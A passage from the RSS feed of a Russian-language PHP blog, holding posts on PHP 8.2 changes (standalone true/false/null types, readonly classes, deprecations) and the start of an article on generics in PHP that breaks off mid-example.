[new Foo, "Bar::method"]</code></pre><p>Причина для этого - шаг в правильном направлении к возможности использования&nbsp;<span style="font-size: 1rem;">типизированных свойств&nbsp;</span>callable. Никита очень хорошо объясняет это в RFC:</p><blockquote>Все эти вызываемые объекты зависят от контекста. Метод, на который ссылается «self::method», зависит от того, из какого класса выполняется вызов или проверка возможности вызова. На практике это обычно справедливо и для последних двух случаев, когда используется [new Foo, "parent::method"].<br>Уменьшение зависимости вызываемых объектов от контекста является вторичной целью этого RFC. После этого RFC единственная оставшаяся зависимость от области видимости — это видимость метода: «Foo::bar» может быть виден в одной области видимости, но не в другой. Если бы в будущем вызываемые объекты были ограничены public методами (в то время как private методы должны были бы использовать вызываемые объекты первого класса или Closure::fromCallable(), чтобы сделать их независимыми от области видимости), то вызываемый тип стал бы четко определенным и мог бы использоваться как тип свойства. Однако изменения в обработке видимости не предлагаются как часть этого RFC.&nbsp;</blockquote><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><p><font color="#282331"><span style="font-size: 38px;"><b>Нечувствительный к локали strtolower() и strtoupper()&nbsp;<a href="https://wiki.php.net/rfc/strtolower-ascii" target="_blank">rfc</a></b></span></font><br></p><p>И strtolower() и strtoupper() больше не зависят от региональных настроек. Вы можете использовать mb_strtolower(), если хотите локализованное преобразование регистра.</p><h2>Изменения подписи для нескольких методов SPL</h2><p>Несколько методов классов SPL были изменены, чтобы должным образом обеспечить их правильную сигнатуру типа:</p><p><br></p><pre class="line-numbers"><code class="language-php">SplFileInfo::_bad_state_ex()
SplFileObject::getCsvControl()
SplFileObject::fflush()
SplFileObject::ftell()
SplFileObject::fgetc()
SplFileObject::fpassthru()
SplFileObject::hasChildren()
SplFileObject::getChildren()</code></pre><h2>Новый модификатор "n" в PCRE</h2><p>Теперь вы можете использовать <b>n</b> модификатор (NO_AUTO_CAPTURE) в pcre* функциях.<br></p><h2>Экранирование имени пользователя и пароля ODBC</h2><blockquote>Расширение ODBC теперь экранирует имя пользователя и пароль для случая, когда передаются и строка подключения, и имя пользователя/пароль и строку необходимо дополнить.</blockquote><p>То же самое относится к PDO_ODBC</p><h2>Устаревшая ${} интерполяция строк <a href="https://wiki.php.net/rfc/deprecate_dollar_brace_string_interpolation" target="_blank">rfc</a></h2><p>В PHP есть несколько способов встраивания переменных в строки. Этот RFC осуждает два способа сделать это, поскольку они редко используются и часто приводят к путанице:</p><p><br></p><pre class="line-numbers"><code class="language-php">"Hello ${world}";

Deprecated: Using ${} in strings is deprecated</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">"Hello ${(world)}";

Deprecated: Using ${} (variable variables) in strings is deprecated</code></pre><p>Для ясности: два популярных способа интерполяции строк все еще работают:</p><p><br></p><pre class="line-numbers"><code class="language-php">"Hello {$world}";
"Hello $world";</code></pre><h2>Удаленные функции&nbsp;&nbsp;</h2><h2>MySQLi больше не может быть скомпилирован с libmysqli</h2><p>Исторически&nbsp;<span style="font-size: 1rem;">PHP</span>&nbsp;поддерживал две библиотеки для подключения баз данных MySQL<span style="font-size: 1rem;">:&nbsp;mysqlnd и&nbsp;&nbsp;libmysql</span>. Эти библиотеки предоставляли базовые функции для подключения, запроса, поиска и обработки данных. Начиная с PHP 5.4, mysqlnd - это библиотека по умолчанию, но можно было компилировать mysqli и pdo_mysql расширения с libmysql с помощью флага конфигурации компиляции.</p><p>Начиная с PHP 8.2 и более поздних версий, компиляция mysqli расширения с помощью libmysql больше не поддерживается.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/69</guid>
                <pubDate>2022-12-08T11:24:02+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.2: true, false и null как самостоятельные типы]]></title>
                <link>https://sergeymukhin.com/blog/php-82-true-false-i-null-kak-samostoiatelnye-tipy</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.2: true, false и null как самостоятельные типы</h1><blockquote>true, false и null как самостоятельные типы</blockquote><p>Еще в&nbsp;<a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">PHP 8.0</a>&nbsp;была добавлена ​​поддержка <b>Union Types</b>, что позволило объявить тип как объединение двух или более типов. Он разрешал <b>false</b>, <b>true</b> и <b>null</b>, как один из возможных типов для объединенных типов, но запрещал их использование в качестве самостоятельных типов.</p><p>До версии PHP 8.2 можно было использовать <b>null</b> и только <b>false</b> только как части <b>Union Types</b>:</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(): string|null {}
function strpos(): int|false {}
<font color="rgba(40, 35, 49, 0.701960784313725)" face="Oswald, sans-serif"><span style="font-size: 16px; white-space: normal;">
</span></font></code></pre><p>Попытка использовать <b>null</b>, <b>false</b>, <b>true</b> типы как самостоятельные типы (т.е. не являющиеся частью объединенных типов) приводила к фатальной ошибке компиляции в версиях PHP PHP 8.0 и PHP 8.1:<br></p><p><br></p><pre class="line-numbers"><code class="language-powershell">Fatal error: Null can not be used as a standalone type in ... on line ...
Fatal error: False can not be used as a standalone type in ... on line ...</code></pre><p>И приходилось использовать <b>PhpDoc</b> для предоставления более точной информации о возвращаемом типе:</p><p><br></p><pre class="line-numbers"><code class="language-php">class User extends Model 
{
     /**
      * @return false
      */
     public function isAdmin(): bool 
     {
         return false;
     }
}</code></pre><p>Начиная с PHP 8.2 можно писать так и не будет ошибок:</p><p><br></p><pre class="line-numbers"><code class="language-php">class User extends Model 
{
     public function isAdmin(): false 
     {
         return false;
     }
}</code></pre><p>&nbsp;<b>false</b>, <b>true</b>, <b>null</b> можно использовать как самостоятельный&nbsp;<span style="font-size: 1rem;">тип&nbsp;</span>везде, где <b>PHP</b> принимает тип:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo {

    private true $processed;
    
    private false $focused;

    public function process(string|int|true $value): true {}

    public function focus(int|false $value): false {}

}</code></pre><p>Это делает систему типов PHP более выразительной и полной, чтобы иметь возможность точнее объявлять типы возврата, аргумента и свойства.</p><h2>Различие между void и null</h2><p>Обратите внимание, что функции, объявленные с&nbsp;<span style="font-size: 1rem;">возвращаемым типом&nbsp;</span><b>null</b>, должны явно возвращать <b>return null</b>, иначе вызов функции приведет к&nbsp;<span style="font-size: 1rem;">исключению&nbsp;</span><b>TypeError</b>. Функции, которые не возвращают значение явно, либо из-за отсутствия&nbsp;<span style="font-size: 1rem;">оператора</span>&nbsp;<b>return</b>, либо из-за отсутствия возвращаемого значения (<b>return;</b>), могут продолжать использовать&nbsp;<span style="font-size: 1rem;">тип&nbsp;</span><b>void</b> в качестве возвращаемого типа.</p><p>В следующем примере выдастся исключение&nbsp;<b>TypeError</b>, так как он должен был быть объявлен с <b>void</b> типом, а не <b>null</b> возвращаемым типом.</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(): null {}

foo();

TypeError: foo(): Return value must be of type null, none returned in ...:...</code></pre><p>Если&nbsp;<span style="font-size: 1rem;">возвращаемый тип</span>&nbsp;не является <b>null</b>, то объявление функции с возвращаемым типом <b>void</b> или <b>never</b> является более подходящим подходом.</p><h2>Обнуляемость в null типе</h2><p>Если тип объявлен <b>null</b>, он не может быть помечен как «<b>nullable</b>» с помощью&nbsp;<span style="font-size: 1rem;">синтаксиса&nbsp;</span><b>?null</b>, так как это приводит к избыточному объявлению типа. PHP выдает ошибку во время компиляции:</p><p><br></p><pre class="line-numbers"><code class="language-php">function doNotMakeSense(): ?null {}

Fatal error: null cannot be marked as nullable in ... on line ...</code></pre><h2>true тип не принуждает</h2><p>Когда аргумент, свойство или возвращаемый тип объявлены как <b>true</b>, PHP не преобразует принудительно любой другой тип в <b>true</b>. Это имеет место быть, даже если в коде отключены строгие типы (<span style="font-size: 1rem;"><b>strict_types</b></span>) и даже для значений, которые в противном случае принудительно выполняются, как <b>true</b> в нестрогих сравнениях.</p><p>Например, следующий вызов функции не приводит целочисленное значение <b>1</b> к <b>true</b>, и в результате получается <b>TypeError</b>:</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(true $value) {}

foo(1);

TypeError: foo(): Argument #1 ($value) must be of type true, int given, called in ... on line ... and defined in ...:...</code></pre><h2>Использование true в объединенных типах</h2><p><b>true</b> тип может использоваться как часть <b>Union Types,</b> если <b>true</b> тип не является избыточным, или использоваться вместе с&nbsp;<span style="font-size: 1rem;">типом</span>&nbsp;<b>false</b>.</p><p>Ниже приведен пример объявления типа объединения, в котором используется <b>true</b> тип:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">function sendEmail(true|string): true {
    return true;
}

sendEmail(true);</code></pre><p>Тип <b>PHP</b> <b>bool</b> по сути является объединенным типом <b>true|false</b>. Однако во избежание двусмысленности применяются два из следующих ограничений.</p><h2>Проверка избыточности с bool типом</h2><p><b>true</b> тип нельзя использовать в сочетании с <b>bool</b> типом, потому что <b>bool</b> тип уже включает в себя <b>true</b> тип. Попытка объявить тип объединения <b>bool</b> приводит к фатальной ошибке компиляции:</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(true|bool $value) {}

Fatal error: Duplicate type true is redundant in ... on line ...</code></pre><h2>Не допускается союз true|false</h2><p>Поскольку <b>bool</b> тип по сути такой же, как <b>true|false</b>, использование <b>true|false</b> в качестве типа объединения не допускается:</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(true|false $value) {}

Fatal error: Type contains both true and false, bool should be used instead in ... on line ...</code></pre><h2>Использование true в типах пересечений&nbsp;</h2><p><b>true</b> тип вообще нельзя использовать в типах пересечений . Тип пересечения с <b>true</b> типом приводит к ошибке компиляции:</p><p><br></p><pre class="line-numbers"><code class="language-php">function foo(true&amp;false $value) {}

Fatal error: Type true cannot be part of an intersection type in ... on line ...</code></pre><h2>true тип в ковариантности и контравариантности&nbsp;</h2><p>Тип <b>true</b> считается подтипом <b>bool</b> типа, и <b>PHP</b> также следует стандартным правилам ковариантности и контравариантности по отношению к <b>true</b> типу.</p><p>Пример ковариации <b>bool</b>, в котором возвращаемый тип заменяется <b>true</b> типом, а тип объединения сужается в подклассе.</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo {
    public function test(): bool {}
    public function test2(): string|true {}
}

class FooBar extends Foo {
    public function test(): false {}
    public function test2(): true {}
}</code></pre><p>Пример контравариантности <b>true</b>, когда типизированный параметр в&nbsp;<b>test()</b> расширяется до <b>bool</b> типа, а тип объединения в <b>test2() </b>расширяется:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo {
    public function test(true $value): void {}
    public function test2(true|string $value): void {}
}

class FooBar extends Foo {
    public function test(bool $value): void {}
    public function test2(true|string|int $value): void {}
}</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Влияние обратной совместимости</span><br></p><p>До PHP 8.2 нельзя было использовать <b>true</b>, <b>false</b> и <b>null</b> как отдельные типы. PHP 8.2 и более поздние версии позволяют использовать их как самостоятельные типы, приложения с PHP ниже версии PHP 8.2, которым необходимо объявлять&nbsp;<span style="font-weight: bolder;">true</span>,&nbsp;<span style="font-weight: bolder;">false</span>&nbsp;и&nbsp;<span style="font-weight: bolder;">null</span>&nbsp;типы, могут использовать комментарии <b>PHPDoc</b> для дополнительной точности и прибегать к использованию <b>bool</b> типа для совместимости со старыми версиями PHP:</p><p><br></p><pre class="line-numbers"><code class="language-php">/**
 * @param true $value
 * @return false
 */
function foo(bool $value): bool {}</code></pre><p>&nbsp;</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/79</guid>
                <pubDate>2022-11-18T11:04:32+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.2: Классы только для чтения (Readonly Classes)]]></title>
                <link>https://sergeymukhin.com/blog/php-82-klassy-tolko-dlia-cteniia-readonly-classes</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.2: Классы только для чтения (Readonly Classes)</h1><blockquote>PHP 8.2 добавляет новый способ объявления классов: вы можете сделать их доступными только для чтения</blockquote><p>На практике это означает, что все свойства этого класса будут доступны только для чтения. Это особенно полезно при использовании DTO или объектов-значений (Value Object), когда класс имеет только общедоступные свойства для чтения .</p><p>Другими словами, вместо того, чтобы писать это:</p><p><br></p><pre class="line-numbers"><code class="language-php">class ItemDTO
{
    public function __construct(
        public readonly string $title,
        public readonly Status $status,
        public readonly ?DateTimeImmutable $published_at = null,
    ) {}
}</code></pre><p>Теперь вы можете написать это:</p><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">readonly class ItemDTO
{
    public function __construct(
        public string $title,
        public Status $status,
        public ?DateTimeImmutable $published_at = null,
    ) {}
}</code></pre><p>Я уже ранее писал о <a href="https://sergeymukhin.com/blog/php-81-svoistva-tolko-dlya-cteniya" target="_blank">свойствах только для чтения</a>&nbsp;в PHP 8.1, поэтому давайте сначала быстро вспомним их:</p><p><br></p><ul><li>свойства readonly могут быть записаны только один раз - обычно в конструкторе;<br></li><li>только типизированные свойства могут быть сделаны readonly;</li><li>они не могут иметь значения по умолчанию (если только вы не используете объявление свойства в конструкторе);</li><li>флаг readonly нельзя изменить при наследовании;</li><li>вы не можете отменить свойства только для чтения.</li></ul><p>Также&nbsp;<span style="font-size: 1rem;">readonly&nbsp;</span>могут быть объявлены абстрактные и финальные классы. Порядок ключевых слов не имеет значения:</p><p><br></p><pre class="line-numbers"><code class="language-php">abstract readonly class ItemDTO { /* ...  */ }
final readonly class ItemDTO { /* ...  */ }</code></pre><p>Можно объявить readonly класс без каких-либо свойств,&nbsp; позволяя дочерним классам явно объявлять свои readonly свойства. Как и в случае со всеми ключевыми словами PHP, ключевое слово&nbsp;<span style="font-size: 1rem;">readonly</span>&nbsp;нечувствительно к регистру.&nbsp; &nbsp;</p><p>Поскольку readonly классы являются просто синтаксическим сахаром для того, чтобы сделать все свойства этого класса readonly, это означает, что те же правила применяются и к классам readonly.</p><p><br></p><h3>Перечисления, Трейты, Интерфейсы как только для чтения&nbsp;</h3><p>Enum вообще не могут содержать свойства, и их нельзя объявлять как классы только для чтения. Traits не могут быть объявлены readonly. Интерфейсы не могут быть объявлены readonly.</p><p>Попытка объявить enum, трейты или интерфейсы как&nbsp; readonly приводит к ошибке Parse:</p><p><br></p><pre class="line-numbers"><code class="language-php">readonly interface SomethingClass {}

Parse error: syntax error, unexpected token "interface", expecting "abstract" or "final" or "readonly" or "class" in ... on line ...</code></pre><p><br></p><h3>Написать один раз</h3><p>Все свойства класса только для чтения могут быть записаны только один раз и не могут быть отменены:</p><p><br></p><pre class="line-numbers"><code class="language-php">readonly class ItemDTO { /* … */ }

$itemDTO = new ItemDTO(/* … */);

$itemDTO-&gt;title = 'что-то другое'; //ошибка

unset($itemDTO-&gt;title);  //ошибка</code></pre><p>&nbsp;</p><h3>Только типизированные свойства</h3><p>Класс только для чтения может иметь только типизированные свойства,&nbsp;для свойств, которые не могут быть строго типизированы, рассмотрите возможность использования&nbsp;<span style="font-size: 1rem;">типа&nbsp;</span>mixed:</p><p><br></p><pre class="line-numbers"><code class="language-php">readonly class ItemDTO
{
    public string $title;
    
    public $mixed;  //ошибка Fatal error: Readonly property Test::$test must have type in ... on line ...

    public mixed $mixed;  //правильно
}</code></pre><p>&nbsp;&nbsp;</p><h3>Нет статических свойств</h3><p>Поскольку свойства только для чтения не могут быть статическими, классы только для чтения тоже не могут иметь никаких статических свойств:</p><p><br></p><pre class="line-numbers"><code class="language-php">readonly class ItemDTO
{
    public static string $title;  //ошибка
}</code></pre><p>&nbsp;</p><h3>Нет значений по умолчанию</h3><p>Свойства класса только для чтения не могут иметь значения по умолчанию, только если вы не используете объявление свойства в конструкторе:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">readonly class ItemDTO
{
    public string $title = 'default';  //ошибка
}</code></pre><p>А вот так вот будет нормально:</p><p><br></p><pre class="line-numbers"><code class="language-php">readonly class ItemDTO
{
    public function __construct(
        public string $title = 'default', 
   ) {}
}</code></pre><p>&nbsp;</p><h3>Никаких изменений при наследовании&nbsp;</h3><p>Вы не можете изменить readonly флаг класса во время наследования:</p><p><br></p><pre class="line-numbers"><code class="language-php">readonly class ItemDTO { /* … */ }

class ItemDTO extends ItemDTO { /* … */ } //ошибка Fatal error: Non-readonly class ItemDTO cannot extend readonly class ItemDTO in ... on line ...</code></pre><p><br></p><h3>Нет динамических свойств</h3><p>Классы только для чтения также не допускают динамических свойств. Это не окажет большого влияния, поскольку динамические свойства в любом случае устарели в PHP 8.2, но так же это означает, что вы не можете добавить атрибут #[AllowDynamicProperties] в классы только для чтения:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">#[AllowDynamicProperties] //ошибка Fatal error: Cannot apply #[AllowDynamicProperties] to readonly class ItemDTO in ... on line ...
readonly class ItemDTO { /* … */ }</code></pre><p><br></p><h3>Рефлексия&nbsp;</h3><p>Появились новые методы Reflection, чтобы определить, является ли класс доступным только для чтения или назначит флаг readonly самому:</p><ul><li>ReflectionClass::isReadOnly()</li><li>ReflectionClass::getModifiers() - битовая маска, которая показывает наличие readonly флага</li><li>ReflectionClass::IS_READONLY - назначить флаг readonly.</li></ul><p><br></p><h3>Отказ от статуса только для чтения</h3><p>После того как класс объявлен readonly, отказаться от этого невозможно. Это относится и к подклассам, потому что подклассы также должны быть явно объявлены readonly.</p><p><br></p><h3>Изменчивость</h3><p>Обратите внимание, что readonly классы не обеспечивают полной иммутабельности (неизменности). Хотя readonly классы идеально подходят для объектов-значений, которые гарантируют, что их данные не изменятся, объекты, хранящиеся в readonly свойстве, могут измениться. Это то же самое поведение, что и у readonly свойств.<br></p><p><br></p><h3>Влияние обратной совместимости</h3><p>Синтаксис readonly класса является новым в PHP 8.2, и объявленные классы&nbsp;<span style="font-size: 1rem;">readonly</span>&nbsp;приводят к ошибке Parse в более старых версиях PHP.</p><p>В качестве временной меры для readonly классов рассмотрите возможность объявления всех <a href="https://sergeymukhin.com/blog/php-81-svoistva-tolko-dlya-cteniya" target="_blank">свойств как readonly</a>, что поддерживается, начиная с PHP 8.1.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/76</guid>
                <pubDate>2022-11-09T11:28:37+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Дженерики в PHP]]></title>
                <link>https://sergeymukhin.com/blog/dzeneriki-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Дженерики в PHP</h1><blockquote>Поговорим о дженериках в PHP, целесообразность и сложность их внедрения в существующее ядро языка</blockquote><p>Дженерики в PHP. Многие разработчики желают иметь их в инструментарии PHP. С другой стороны, есть PHP-программисты, которые, возможно, не знают, что такое дженерики и почему их это должно волновать. Многие языки программирования имеют поддержку дженериков:&nbsp; Java имеет дженерики, C# имеет свой аналог - обобщения, уже и в Golang&nbsp;1.18 завезли дженерики. Почему ж PHP не поддерживает&nbsp;<span style="font-size: 1rem;">дженерики</span>&nbsp;и возможно ли это в будущем?</p><h2>Основы</h2><p>В каждом языке программирования есть какая-то система типов. Некоторые языки имеют очень строгую реализацию, в то время как другие - PHP относится к этой категории - гораздо более снисходительны в этом плане.</p><p>Системы типов используются по целому ряду причин, наиболее очевидным из них является проверка типа.&nbsp;Давайте представим, что у нас есть функция, которая принимает два целых числа; и выполняет над ними какую-то математическую операцию:</p><p><br></p><pre class="line-numbers"><code class="language-php">function sum($a, $b) 
{
    return $a + $b;
}</code></pre><p>PHP с радостью позволит вам передать в эту функцию любые данные: числа, строки, логические значения - это не имеет значения. PHP сделает все возможное, чтобы преобразовать переменную всякий раз, когда это имеет смысл, например, сложив их вместе.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">sum('1', '2');</code></pre><p>Но эти преобразования - жонглирование типами - часто приводят к неожиданным результатам, если не сказать что к ошибкам и сбоям.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">sum([], true);  //Что произойдет?</code></pre><p>Теперь мы можем вручную написать код, чтобы проверить, будет ли наше математическое дополнение работать с любыми заданными данными:</p><p><br></p><pre class="line-numbers"><code class="language-php">function sum($a, $b) 
{
    if (!is_int($a) || !is_int($b)) {
        return null;
    }
    
    return $a + $b;
}</code></pre><p>Или мы могли бы использовать встроенные в PHP подсказки типов (type hints) - встроенные сокращения того, что мы в противном случае сделали бы вручную:&nbsp;&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">function sum(int $a, int $b): int 
{
    return $a + $b;
}</code></pre><p>Многие разработчики в PHP-сообществе говорят, что им все равно на эти подсказки типов, потому что они знают, что должны передавать в эту функцию только целые числа - в конце концов это же они ее написали.</p><p>Однако такого рода рассуждения являются заблуждением: вы часто не единственный кто работает с этой кодовой базой, вы также используете код, который не написали сами - подумайте о том, сколько пакетов вы загружаете с помощью composer. Итак, хотя этот пример сам по себе может показаться не таким уж важным, проверка типов действительно пригодится, когда ваша кодовая база начнет расти.</p><p>Кроме того, добавление подсказок типа не только защищает от недопустимого состояния, но и разъясняет, какие входные данные ожидаются от программистов. Типы часто делают так, что вам не нужно читать внешнюю документацию, потому что многое из того, что делает функция, уже заключено определением ее типа.</p><p>IDE широко используют этот принцип: они могут сообщить программисту, какие входные данные ожидаются от функции или какие поля и методы доступны для объекта, который принадлежит классу. IDE помогают делать написание кода намного более продуктивным, в значительной степени потому, что они могут статически анализировать подсказки типов в нашей кодовой базе.</p><p>Ну и куда без статического анализа - программы, IDE или другие виды «статических анализаторов» могут посмотреть на наш код и, не запуская его, сказать нам, будет он работать или нет - по крайней мере, в какой-то степени. Если мы передаем нашей функции строку, которая принимает целое число, наша IDE сообщит нам, что мы делаем что-то неправильно - что-то, что может привести к сбою приложения во время выполнения; но наша IDE может сообщить нам об этом без фактического запуска кода.</p><p>С другой стороны, системы типов имеют свои ограничения. Типичным примером является «коллекция»:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Collection extends ArrayObject
{
    public function offsetGet(mixed $key): mixed 
    { /* … */ }
    
    public function filter(Closure $fn): self 
    { /* … */ }
    
    public function map(Closure $fn): self 
    { /* … */ }
}</code></pre><p>У коллекции есть множество методов, которые работают с любым типом входных данных: цикл, фильтрация, сопоставление, что угодно, реализация коллекции не должна заботиться о том, имеет ли она дело со строками или целыми числами.</p><p>Но давайте посмотрим на это с точки зрения стороннего наблюдателя. Что произойдет, если мы хотим быть уверены, что одна коллекция содержит только строки, а другая только User объекты. Самой коллекции все равно, как перебираются ее элементы, но нам это важно. Мы хотим знать, является ли этот элемент в цикле пользователем или строкой - в этом большая разница. Но без надлежащей информации о типе наша IDE работает в полном неведении.</p><p>Теперь мы могли бы создать отдельные реализации для каждой коллекции: одну, которая работает только со строками, и другую, которая работает только с User объектами:</p><p><br></p><pre class="line-numbers"><code class="language-php">class StringCollection extends Collection
{
    public function offsetGet(mixed $key): string 
    { /* … */ }
}

class UserCollection extends Collection
{
    public function offsetGet(mixed $key): User 
    { /* … */ }
}</code></pre><p>Но что, если нам нужна третья реализация? Четвертая? Может десятая или двадцатая. Становится довольно мучительно управлять всем этим кодом.&nbsp;&nbsp;</p><p>И здесь на помощь приходят дженерики. Теперь, чтобы внести некую ясность: В PHP нет дженериков. То, что я покажу дальше, невозможно в PHP. </p><p>Вместо создания отдельной реализации для каждого возможного типа многие языки программирования позволяют разработчикам определять «общий» тип в классе коллекции:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Collection&lt;Type&gt; extends ArrayObject
{
    public function offsetGet(mixed $key): Type 
    { /* … */ }
    
    // …
}</code></pre><p>По сути, мы говорим, что реализация класса коллекции будет работать для любого типа входных данных, но когда мы создаем экземпляр коллекции, мы должны указать этот тип. Это общая реализация, но она конкретизируется в зависимости от потребностей программиста:</p><p><br></p><pre class="line-numbers"><code class="language-php">$users = new Collection&lt;User&gt;();

$names = new Collection&lt;string&gt;();</code></pre><p>Может показаться, что сделали совсем немного: добавили тип. </p><p>Но один только этот тип открывает целый мир возможностей. Наша IDE теперь знает, какие данные находятся в коллекции, она может сказать нам, добавляем ли мы элемент неправильного типа; она может сказать нам, что мы можем делать с элементами при переборе коллекции, она может сказать нам, передаем ли мы коллекцию функции, которая знает как работать с этими конкретными элементами.</p><p>И хотя технически мы могли бы добиться того же, вручную реализовав коллекцию для каждого типа, который нам нужен; общая реализация была бы значительным упрощением для разработчиков, которые пишут и поддерживают код.&nbsp;</p><h2>Дженерики в деталях</h2><p>Коллекции, вероятно, самый простой способ объяснить, что такое дженерики, но также люди нередко думают, что «дженерики» и «коллекции с типом» — это одно и то же. Это определенно не так.</p><p>Во фреймворке Laravel есть&nbsp;<span style="font-size: 1rem;">функция app -&nbsp;</span>эта функция принимает имя класса и резолвит экземпляр этого класса, используя контейнер зависимостей:</p><p><br></p><pre class="line-numbers"><code class="language-php">function app(string $className): mixed
{
    return Container::get($className);
}</code></pre><p>Теперь вам не нужно знать, как работает контейнер, важно то, что эта функция предоставит вам экземпляр класса, который вы запрашиваете.</p><p>Так что, по сути, это функция дженерика, чей&nbsp;<span style="font-size: 1rem;">возвращаемый&nbsp;</span>тип&nbsp; будет зависеть от того, какое имя класса вы ему передали. И было бы круто, если бы наша IDE и другие статические анализаторы тоже понимали, что если я даю этой функции имя класса UserRepository, я ожидаю, что будет возвращен экземпляр UserRepository, и ничего больше:</p><p><br></p><pre class="line-numbers"><code class="language-php">function app(string $className): mixed
{ /* … */ }

app(UserRepository::class); // ?</code></pre><p>И я думаю, сейчас самое время упомянуть, что ранее я говорил, что дженериков не существует в PHP; ну и это не совсем так. Все статические анализаторы - инструменты, которые читают ваш код, не запуская его, такие инструменты, как ваша IDE - согласились использовать&nbsp;<span style="font-size: 1rem;">&nbsp;для дженериков</span>&nbsp;docblock&nbsp;<span style="font-size: 1rem;">аннотацию</span>:</p><p><br></p><pre class="line-numbers"><code class="language-php">/**
 * @template Type
 * @param class-string&lt;Type&gt; $className
 * @return Type
 */
function app(string $className): mixed
{ /* … */ }</code></pre><p>Может быть это не самый красивый синтаксис, но все статические анализаторы полагаются на простое соглашение, официальной спецификации нет; но тем не менее это работает. PhpStorm, Psalm и PhpStan - три крупнейших статических анализатора в мире PHP - в некоторой степени понимают этот синтаксис.&nbsp;</p><p>Так что на самом деле мы можем построить эту app функцию таким образом, чтобы наши инструменты больше не работали в "темноте". Конечно, сам PHP не гарантирует, что возвращаемый тип будет правильным - PHP не будет выполнять никаких проверок типа во время выполнения для этой функции; но если мы можем доверять нашим статическим анализаторам, шансов на то, что этот код сломается при запуске, очень мало или даже нет.</p><p>Итак, предположим что дженерики как бы есть в PHP и все основные статические анализаторы умеют с ними работать. Но… есть пара нюансов.</p><p>Во-первых, нет официальной спецификации того, как должны выглядеть дженерики, прямо сейчас каждый статический анализатор может использовать свой собственный синтаксис - на данный момент они договорились об одном, но в будущем никаких гарантий.</p><p>Второе: использование аннотации докблоков, возможно, не совсем оптимально. Они кажутся менее важной частью нашей кодовой базы. И само собой разумеется: общие аннотации предоставляют только статическую информацию и не имеют функциональности во время выполнения, но мы видели, насколько мощным может быть статический анализ даже без проверок типов во время выполнения. Я думаю, что несправедливо рассматривать информацию о типах как «комментарии документа», это не сообщает о важности этих типов в нашем коде. Вот почему мы получили <a href="https://sergeymukhin.com/blog/atributy-v-php-8" target="_blank">атрибуты в PHP 8</a>: вся функциональность, которую обеспечивают атрибуты, уже была возможна с аннотациями docblock, но этого было недостаточно. То же самое касается дженериков.</p><p>И наконец: без надлежащей спецификации все три основных статических анализатора имеют различия между реализациями своих дженериков. В идеале должна быть официальная спецификация, исходящая от внутренних разработчиков PHP. Сейчас ее нет.</p><p>Так почему же в PHP до сих пор нет подходящих дженериков? Почему мы полагаемся на docblock-аннотации без четкой спецификации?</p><h2>Почему не может быть дженериков в PHP</h2><p>В прошлом году <a href="https://www.reddit.com/r/PHP/comments/j65968/comment/g7zg9mt/" target="_blank">Никита Попов заявил</a> что дженерики в PHP просто невыполнимы.</p><p>Чтобы понять, почему Никита так сказал, нужно рассмотреть ближе, как могут быть реализованы дженерики. В общем, есть три возможных способа сделать это: языки программирования, которые поддерживают дженерики, в основном используют один из этих трех методов.</p><p>Первый из них называется <b>Monomorphized Generics (Мономорфизированные дженерики)</b>. Возьмем опять наш пример с коллекциями:</p><p><br></p><pre class="line-numbers"><code class="language-php">class StringCollection extends Collection
{
    public function offsetGet(mixed $key): string 
    { /* … */ }
}

class UserCollection extends Collection
{
    public function offsetGet(mixed $key): User 
    { /* … */ }
}</code></pre><p>Как уже было сказано, мы можем вручную создавать реализации класса коллекции для каждого типа, для которого нам нужна коллекция. Пришлось бы тогда многое сделать вручную, было бы больше кода, но это сработало бы.</p><p>Мономорфизированные дженерики делают именно это, но автоматически, за кулисами. Во время выполнения PHP не будет знать об общем классе Collection, а скорее о двух или более конкретных реализациях:</p><p><br></p><pre class="line-numbers"><code class="language-php">$users = new Collection&lt;User&gt;();
// Collection_User

$slugs = new Collection&lt;string&gt;();
